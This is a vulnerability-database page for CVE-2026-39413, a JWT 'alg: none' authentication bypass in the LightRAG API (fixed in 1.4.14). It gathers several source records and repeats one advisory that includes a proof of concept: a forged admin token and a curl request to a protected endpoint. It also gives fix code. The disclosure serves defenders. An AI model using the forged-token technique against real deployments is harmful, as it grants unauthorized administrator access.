Every CVE Search/ Get API key

CVE-2026-39413

LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API

4.2 MediumFix available

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
High
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.18%Up 0.2 points since Apr 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 4.2

LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.

Record
CVE-2026-39413
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-347
Updated
2026-11-02
EUVDEUVD-2026-20601 4.2

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.

Record
EUVD-2026-20601
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-8ffj-4hx4-9pgf 4.2

lightrag-hku: JWT Algorithm Confusion Vulnerability

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])
Record
GHSA-8ffj-4hx4-9pgf
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-347
Updated
2026-11-02
NVD 4.2

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.

Record
CVE-2026-39413
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-347
Updated
2026-11-02
OSV 4.2

LightRAG has a JWT Algorithm Confusion Vulnerability in LightRAG API

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.4.14, the LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access. This vulnerability is fixed in 1.4.14.

Record
CVE-2026-39413
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-347
Updated
2026-11-02
OSVGHSA-8ffj-4hx4-9pgf 4.2

lightrag-hku: JWT Algorithm Confusion Vulnerability

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])
Record
GHSA-8ffj-4hx4-9pgf
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
Weakness
CWE-347
Updated
2026-11-02
OSVPYSEC-2026-2592 4.2

lightrag-hku: JWT Algorithm Confusion Vulnerability

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])
Record
PYSEC-2026-2592
CVSS 3.1
4.2 MediumCVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
lightrag-hku
PyPI
through 1.4.13
1.4.14
lightrag-hku
PyPI
before 1.4.14, plus listed versions
0.0.20.0.30.0.40.0.50.0.6
Show 45 moreShow less
0.0.70.0.80.0.91.0.01.0.11.0.31.0.51.0.61.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.51.1.61.1.71.2.11.2.21.2.31.2.51.2.61.3.01.3.11.3.21.3.31.3.41.3.51.3.61.3.71.3.81.3.91.4.01.4.11.4.101.4.111.4.11rc21.4.121.4.12rc11.4.131.4.13rc11.4.21.4.31.4.4
1.4.14

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-39413 is a medium vulnerability (CVSS 4.2) in Hkuds Lightrag, published April 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in lightrag-hku 1.4.14.

References

This page doesn't list everything

Left out here: 27 versions. The JSON record has them.

MoveEnter Open